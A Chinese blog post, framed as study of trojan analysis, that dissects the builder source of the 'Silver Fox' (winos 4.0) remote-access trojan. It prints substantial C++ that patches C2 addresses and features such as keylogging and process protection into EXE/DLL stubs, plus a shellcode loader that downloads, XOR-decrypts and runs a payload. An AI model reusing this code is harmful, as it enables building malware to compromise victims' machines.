前言
最近在学习木马分析,网上关于银狐的源码分析目前还没看到,挖个坑学一学银狐(winos 4.0)的源码。
核心函数
客户生成/BuildDlg.cpp 是生成客户端的窗口类(CBuildDlg)的实现代码,是由下面几个函数实现客户端的生成:
1 2 3 4 | void OnBnClickedBuildexe() // 生成EXE文件 void OnBnClickedBuilddll() // 生成DLL文件void OnBnClickedBuildShellcode() // 生成Shellcodevoid OnBnClickedBuildPowershell() // 生成PowerShell脚本,PowerShell生成方式只使用第一组服务器配置。 |
生成过程由CBuildDlg::build函数进行控制,被上面几个函数进行调用,此处为核心代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | BOOL CBuildDlg::build(int mode){ UpdateData(TRUE); CFileDialog dlg(FALSE, _T(""), _T("output"), OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, _T("可执行文件(*.*)| All Files (*.*) |*.*||"), NULL); if (dlg.DoModal() != IDOK) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("已取消生成\r\n")); return FALSE; } CString path; if (mode == 0) { if (!getsettingdata()) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数失败\r\n")); return FALSE; } path = _T("\\Plugins\\x86\\上线模块.bin"); swprintf_s(writepath, _T("%s_86.exe"), dlg.GetPathName()); if (!changedataandwritefile(path)) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x86 exe 生成失败\r\n")); return FALSE; } path = _T("\\Plugins\\x64\\上线模块.bin"); swprintf_s(writepath, _T("%s_64.exe"), dlg.GetPathName()); if (!changedataandwritefile(path)) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x64 exe 生成失败\r\n")); return FALSE; } } if (mode == 1) { if (MessageBox(_T("Dll加载运行DllMain吗?"), _T("加载执行"), MB_OKCANCEL) == IDOK) { MyInfo.otherset.RunDllEntryProc = true; } else { MyInfo.otherset.RunDllEntryProc = false; } if (!getsettingdata()) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数失败\r\n")); return FALSE; } path = _T("\\Plugins\\x86\\上线模块.dll"); swprintf_s(writepath, _T("%s_86.dll"), dlg.GetPathName()); if (!changedataandwritefile(path, TRUE)) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x86 dll 生成失败\r\n")); return FALSE; } path = _T("\\Plugins\\x64\\上线模块.dll"); swprintf_s(writepath, _T("%s_64.dll"), dlg.GetPathName()); if (!changedataandwritefile(path, TRUE)) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x64 exe 生成失败\r\n")); return FALSE; } } return TRUE;} |
整体流程为:
- 获取保存路径
- 获取配置信息
getsettingdata() - 读取模板文件(.bin或.dll)
- 修改配置数据
- 写入新文件
其中获取配置信息的getsettingdata()函数尤为重要,配置信息由客户端界面进行设置,部分为默认值:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | BOOL CBuildDlg::getsettingdata(){ UpdateData(TRUE); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数\r\n")); _tcscpy_s(MyInfo.szAddress, m_edit_ip.GetBuffer(0)); _tcscpy_s(MyInfo.szPort, m_edit_port.GetBuffer(0)); MyInfo.IsTcp = h_combo_net.GetCurSel() ? false : true; _tcscpy_s(MyInfo.szAddress2, m_edit_ip2.GetBuffer(0)); _tcscpy_s(MyInfo.szPort2, m_edit_port2.GetBuffer(0)); MyInfo.IsTcp2 = h_combo_net2.GetCurSel() ? false : true; _tcscpy_s(MyInfo.szAddress3, m_edit_ip3.GetBuffer(0)); _tcscpy_s(MyInfo.szPort3, m_edit_port3.GetBuffer(0)); MyInfo.IsTcp3 = h_combo_net3.GetCurSel() ? false : true; _tcscpy_s(MyInfo.szRunSleep, m_edit_first_time.GetBuffer(0)); _tcscpy_s(MyInfo.szHeart, m_edit_rest_time.GetBuffer(0)); _tcscpy_s(MyInfo.Remark, m_edit_v.GetBuffer(0)); _tcscpy_s(MyInfo.szGroup, m_edit_g.GetBuffer(0)); MyInfo.otherset.IsKeyboard = (((CButton*)GetDlgItem(IDC_CHECK_KEYBOARD))->GetCheck()) ? true : false; MyInfo.otherset.antinet = (((CButton*)GetDlgItem(IDC_CHECK_NET))->GetCheck()) ? true : false; MyInfo.otherset.Processdaemon = (((CButton*)GetDlgItem(IDC_CHECK_PROCESSDAEMON))->GetCheck()) ? true : false; MyInfo.otherset.ProtectedProcess = (((CButton*)GetDlgItem(IDC_CHECK_PROTEXTEDPROCESS))->GetCheck()) ? true : false; MyInfo.otherset.puppet = (((CButton*)GetDlgItem(IDC_CHECK_PUPPET))->GetCheck()) ? true : false; CString s = confimodel; Setfindinfo(s, _T("地址1"), MyInfo.szAddress, NULL); Setfindinfo(s, _T("端口1"), MyInfo.szPort, NULL); Setfindinfo(s, _T("通信1"), NULL, MyInfo.IsTcp); Setfindinfo(s, _T("地址2"), MyInfo.szAddress2, NULL); Setfindinfo(s, _T("端口2"), MyInfo.szPort2, NULL); Setfindinfo(s, _T("通信2"), NULL, MyInfo.IsTcp2); Setfindinfo(s, _T("地址3"), MyInfo.szAddress3, NULL); Setfindinfo(s, _T("端口3"), MyInfo.szPort3, NULL); Setfindinfo(s, _T("通信3"), NULL, MyInfo.IsTcp3); Setfindinfo(s, _T("等待"), MyInfo.szRunSleep, NULL); Setfindinfo(s, _T("重连"), MyInfo.szHeart, NULL); Setfindinfo(s, _T("分组"), MyInfo.szGroup, NULL); Setfindinfo(s, _T("版本"), MyInfo.szVersion, NULL); Setfindinfo(s, _T("备注"), MyInfo.Remark, NULL); Setfindinfo(s, _T("键盘"), NULL, MyInfo.otherset.IsKeyboard); Setfindinfo(s, _T("保护"), NULL, MyInfo.otherset.ProtectedProcess); Setfindinfo(s, _T("流量"), NULL, MyInfo.otherset.antinet); Setfindinfo(s, _T("入口"), NULL, MyInfo.otherset.RunDllEntryProc); Setfindinfo(s, _T("守护"), NULL, MyInfo.otherset.Processdaemon); Setfindinfo(s, _T("傀儡"), NULL, MyInfo.otherset.puppet); Setfindinfo(s, _T("特别"), NULL, MyInfo.otherset.special); s.MakeReverse(); ZeroMemory(confi, 1000 * 2); memcpy(confi, s.GetBuffer(), s.GetLength() * 2 + 2); return TRUE;} |
生成 exe
生成客户端(exe)的日志如下:
1 2 3 4 5 6 7 8 9 | 开始生成.初始化参数读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x86\上线模块.bin修改配置信息写出成功C:\Users\root\Desktop\新建文件夹\output_86.exe读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x64\上线模块.bin修改配置信息写出成功C:\Users\root\Desktop\新建文件夹\output_64.exe生成成功 |
其中 上线模块.bin -> output_64.exe 流程由 CBuildDlg::changedataandwritefile()函数控制,具体流程为:
- 读取bin文件内容(上线模块.bin)
- 在内存中查找和替换配置信息
- 以exe扩展名写出文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 | BOOL CBuildDlg::changedataandwritefile(CString path, BOOL bchangeexport){ TCHAR DatPath[MAX_PATH] = { 0 }; GetModuleFileName(NULL, DatPath, sizeof(DatPath)); *_tcsrchr(DatPath, _T('\\')) = '\0'; CString path_data; path_data = DatPath; path_data += path; WIN32_FIND_DATA FindData; HANDLE hFile; hFile = FindFirstFile(path_data, &FindData); if (hFile == INVALID_HANDLE_VALUE) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("文件不存在")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n")); return FALSE; } FindClose(hFile); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("读取文件")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n")); hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("读取文件失败")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n")); return FALSE; } DWORD len = GetFileSize(hFile, NULL); char* str = new char[len]; ZeroMemory(str, sizeof(str)); DWORD wr = 0; ReadFile(hFile, str, len, &wr, NULL); CloseHandle(hFile); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("修改配置信息\r\n")); DWORD dwOffset = -1; dwOffset = memfind(str, _T("xiugaishiyong"), len, 0); if (dwOffset == -1) //无法修改配置信息就退出 { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("找不到上线配置标记 \r\n")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("r\n")); SAFE_DELETE_AR(str); return FALSE; } DWORD dwOffset_export = -1; char* exportnamebuf = NULL; int exportnamelen = 0; if (bchangeexport) { dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0); exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL); exportnamebuf = new char[exportnamelen + 1]; WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, exportnamebuf, exportnamelen, NULL, NULL); if ((dwOffset_export == -1)) //无法修改到处函数名就退出 { log_信息("找不到导出函数"); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("找不到导出函数zidingyixiugaidaochuhanshu标记\r\n")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)path_data.GetBuffer()); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("r\n")); SAFE_DELETE_AR(exportnamebuf); SAFE_DELETE_AR(str); return FALSE; } } //写出配置好的文件 CFile file; if (file.Open(writepath, CFile::modeCreate | CFile::modeWrite | CFile::modeRead | CFile::typeBinary)) { if (dwOffset != -1) memcpy(str + dwOffset, (char*)&confi, lstrlen(confi) * 2 + 1); if (bchangeexport) memcpy(str + dwOffset_export, (char*)exportnamebuf, exportnamelen); file.Write(str, len); file.Close(); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("写出成功")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)writepath); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("\r\n")); SAFE_DELETE_AR(str); return TRUE; } else { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("文件无法创建,查看是否占用\r\n")); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)writepath); m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("r\n")); SAFE_DELETE_AR(str); return FALSE; }} |
上述流程详细来说:
- 上线模块.bin 本身就是一个完整的PE格式文件,只是扩展名是 .bin
- bin文件中预留了一个特定标记 "xiugaishiyong" 用于配置信息的替换
- 程序只是简单完成:
- 读取这个PE文件
- 替换其中的配置信息
- 以.exe扩展名保存
- 文件本身的PE结构和代码都没有改变
也就是说,.bin 文件实际上就是预先编译好的exe文件,最后进行:
- 改成 .bin 扩展名
- 预留了配置信息占位符
- 生成过程只是替换配置并改回 .exe 扩展名
生成 dll
生成客户端(dll)的日志为:
1 2 3 4 5 6 7 8 9 | 开始生成.初始化参数读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x86\上线模块.dll修改配置信息写出成功C:\Users\root\Desktop\新建文件夹\output_86.dll读取文件C:\Users\root\Desktop\新建文件夹\Plugins\x64\上线模块.dll修改配置信息写出成功C:\Users\root\Desktop\新建文件夹\output_64.dll生成成功 |
生成dll的核心函数为CBuildDlg::OnBnClickedBuilddll(),具体流程为:
- 首先会询问是否加载DLL入口点
- 使用的是DLL模板文件(上线模块.dll)
- DLL生成时需要额外处理导出函数
- 写出dll文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | if (mode == 1){ if (MessageBox(_T("Dll加载运行DllMain吗?"), _T("加载执行"), MB_OKCANCEL) == IDOK) { MyInfo.otherset.RunDllEntryProc = true; } else { MyInfo.otherset.RunDllEntryProc = false; } if (!getsettingdata()) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("初始化参数失败\r\n")); return FALSE; } path = _T("\\Plugins\\x86\\上线模块.dll"); swprintf_s(writepath, _T("%s_86.dll"), dlg.GetPathName()); if (!changedataandwritefile(path, TRUE)) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x86 dll 生成失败\r\n")); return FALSE; } path = _T("\\Plugins\\x64\\上线模块.dll"); swprintf_s(writepath, _T("%s_64.dll"), dlg.GetPathName()); if (!changedataandwritefile(path, TRUE)) { m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("x64 exe 生成失败\r\n")); return FALSE; }} |
首先会询问是否加载DLL入口点的原因是这个dll可以使用两种执行方式:
- 通过DllMain执行(RunDllEntryProc = true)
- 通过导出函数执行(可自定义导出函数名),默认导出函数名为"run"
DLL生成时需要额外处理导出函数,这里额外使用了一个标记 "zidingyixiugaidaochuhanshu":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | BOOL CBuildDlg::changedataandwritefile(CString path, BOOL bchangeexport){ if (bchangeexport) { // 查找导出函数标记 dwOffset_export = memfind(str, "zidingyixiugaidaochuhanshu", len, 0); exportnamelen = WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, NULL, 0, NULL, NULL); exportnamebuf = new char[exportnamelen + 1]; WideCharToMultiByte(CP_ACP, 0, m_edit_dll, -1, exportnamebuf, exportnamelen, NULL, NULL); // 替换导出函数名 if (dwOffset_export != -1) memcpy(str + dwOffset_export, (char*)exportnamebuf, exportnamelen); } ...} |
生成过程中会将这个函数名替换到DLL模板中预设的"zidingyixiugaidaochuhanshu"标记位置。在代码中导出函数名是通过界面上的 m_edit_dll 变量控制的,其默认值为"run":
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | void CBuildDlg::OnInitialUpdate(){ CXTPResizeFormView::OnInitialUpdate(); m_buildonce = false; static bool binit = false; if (!binit) { ((CEdit*)GetDlgItem(IDC_EDIT__POWERSHELL))->SetLimitText(0x00400000); m_edit_ip = _T("127.0.0.1"); m_edit_ip2 = _T("127.0.0.1"); m_edit_ip3 = _T("127.0.0.1"); m_edit_port = _T("6666"); m_edit_port2 = _T("8888"); m_edit_port3 = _T("80"); h_combo_net.SetCurSel(0); h_combo_net2.SetCurSel(0); h_combo_net3.SetCurSel(0); m_edit_first_time = _T("1"); m_edit_rest_time = _T("1"); m_edit_g = _T("默认"); SYSTEMTIME stime; GetLocalTime(&stime); m_edit_v.Format(_T("%2d.%2d.%2d"), stime.wYear, stime.wMonth, stime.wDay); m_edit_dll = _T("run"); ... }} |
银狐的设计比较灵活,对比两种dll执行方式,各有优缺点:
DllMain执行:
- DLL加载时自动运行
- 不需要显式调用任何函数
- 更容易被检测
导出函数执行:
- 需要显式调用指定的导出函数
- 更灵活,可以控制执行时机
- 可以自定义函数名,更隐蔽
- 可以传递参数
生成 shellcode
生成Shellcode的主要流程在OnBnClickedBuildShellcode和changeshellcodeandwritefile这两个函数中。主要流程如下:
首先提示用户Shellcode的限制:
1 | m_edit_tip.SendMessage(EM_REPLACESEL, 0, (LPARAM)_T("注意:shellcode上线只使用第一组和第二组 IP 端口配置 支持TCP UDP,其他一样\r\n")); |
准备Shellcode的配置信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | // 第一组配置ShellCodeInfo m_ShellCodeInfo;memcpy(&m_ShellCodeInfo, &MyShellCodeInfo, sizeof(ShellCodeInfo));// IP地址char addr1[256] = {};WideCharToMultiByte(CP_ACP, 0, m_edit_ip.GetBuffer(0), nLen, addr1, 2 * nLen, NULL, NULL);m_ShellCodeInfo.szPort1 = _ttoi(m_edit_port.GetBuffer(0));m_ShellCodeInfo.IsTcp1 = h_combo_net.GetCurSel() ? false : true;m_ShellCodeInfo.addrlen1 = strlen(addr1) + 1;// 第二组配置char addr2[256] = {};WideCharToMultiByte(CP_ACP, 0, m_edit_ip2.GetBuffer(0), nLen, addr2, 2 * nLen, NULL, NULL);m_ShellCodeInfo.szPort2 = _ttoi(m_edit_port2.GetBuffer(0));m_ShellCodeInfo.IsTcp2 = h_combo_net2.GetCurSel() ? false : true;m_ShellCodeInfo.addrlen2 = strlen(addr2) + 1; |
读取Shellcode模板文件:
1 2 3 4 5 6 7 | path = _T("\\Plugins\\x86\\执行代码.dll"); // x86版本path = _T("\\Plugins\\x64\\执行代码.dll"); // x64版本HANDLE hFile = CreateFile(path_data, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD len = GetFileSize(hFile, NULL);char* str = new char[len];ReadFile(hFile, str, len, &wr, NULL); |
组合Shellcode数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | // 计算总大小int shellcodesize = len + sizeof(ShellCodeInfo) + m_ShellCodeInfo.addrlen1 + m_ShellCodeInfo.addrlen2 + lstrlen(confi) * 2 + 2;// 分配内存并组合数据unsigned char* lpDatBuffer = new unsigned char[shellcodesize];// 1. 复制原始shellcodeCopyMemory(lpDatBuffer, str, len);// 2. 复制配置信息CopyMemory(lpDatBuffer + len, (LPCVOID)&m_ShellCodeInfo, sizeof(ShellCodeInfo));// 3. 复制IP地址1CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo), addr1, m_ShellCodeInfo.addrlen1);// 4. 复制IP地址2CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + m_ShellCodeInfo.addrlen1, addr2, m_ShellCodeInfo.addrlen2);// 5. 复制其他配置CopyMemory(lpDatBuffer + len + sizeof(ShellCodeInfo) + m_ShellCodeInfo.addrlen1 + m_ShellCodeInfo.addrlen2, confi, lstrlen(confi) * 2 + 2); |
写出Shellcode文件:
1 2 | HANDLE h_bin = CreateFileW(writepath, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, NULL, NULL);WriteFile(h_bin, lpDatBuffer, (DWORD)shellcodesize, &dwBytesWritten, NULL); |
其中Shellcode的数据结构为:
1 2 3 4 5 6 7 8 9 10 | struct ShellCodeInfo{ char mark[30]; //标记 int addrlen1; //IP1长度 int szPort1; //端口1 bool IsTcp1; //通信模式1 int addrlen2; //IP1长度 int szPort2; //端口2 bool IsTcp2; //通信模式2}; |
数据排列方式:
1 | [原始shellcode][配置信息][IP地址1][IP地址2][其他配置] |
可以看到这里使用的是执行代码.dll而不是上线模块.dll,是因为执行代码.dll和上线模块.dll的用途和结构是不同的:
上线模块.dll:
- 是一个完整的DLL文件
- 包含PE头、导出表等完整PE结构
- 用于加载为DLL使用
- 通过DllMain或导出函数执行
- 需要LoadLibrary等标准DLL加载方式
执行代码.dll:
- 实际上是位置无关代码(PIC)
- 用于生成Shellcode
执行代码.dll的源码ShellCode_main.cpp的实现核心为:
- 接收加密的payload(XOR)
- 解密并执行payload
- payload接收控制端指令
从执行代码.dll(shellcode)下载的payload是上线模块.dll/.bin:
1 2 | // TCP模式下固定接收大小} while (len != (300 * 1024 + 14)); // 约300KB |
- payload下载后的处理:
1 2 3 4 5 6 7 8 9 10 11 | // 解密byte* password = (byte*)(func->buff) + 4;func->buff = (char*)(func->buff) + 14; // 跳过14字节头部for (int i = 0, j = 0; i < (int)len; i++) { ((char*)func->buff)[i] ^= (password[j++]) % 456 + 54;}// 执行payload并传入配置typedef VOID(__stdcall* CODE) (_In_ TCHAR*);CODE fn = ((CODE(*)()) func->buff)();fn(func->confi); // 传入配置信息 |
最后Shellcode完整执行方式为:
1 2 3 4 5 6 7 8 9 | 执行代码.dll(shellcode)↓连接服务器↓下载执行上线模块↓解密并执行上线模块,传入配置↓下载执行登录模块 |
总结
powershell 目前很少用到,并且有一定限制,本文主要针对几种主要使用的客户端生成流程进行分析,如有问题欢迎指正。
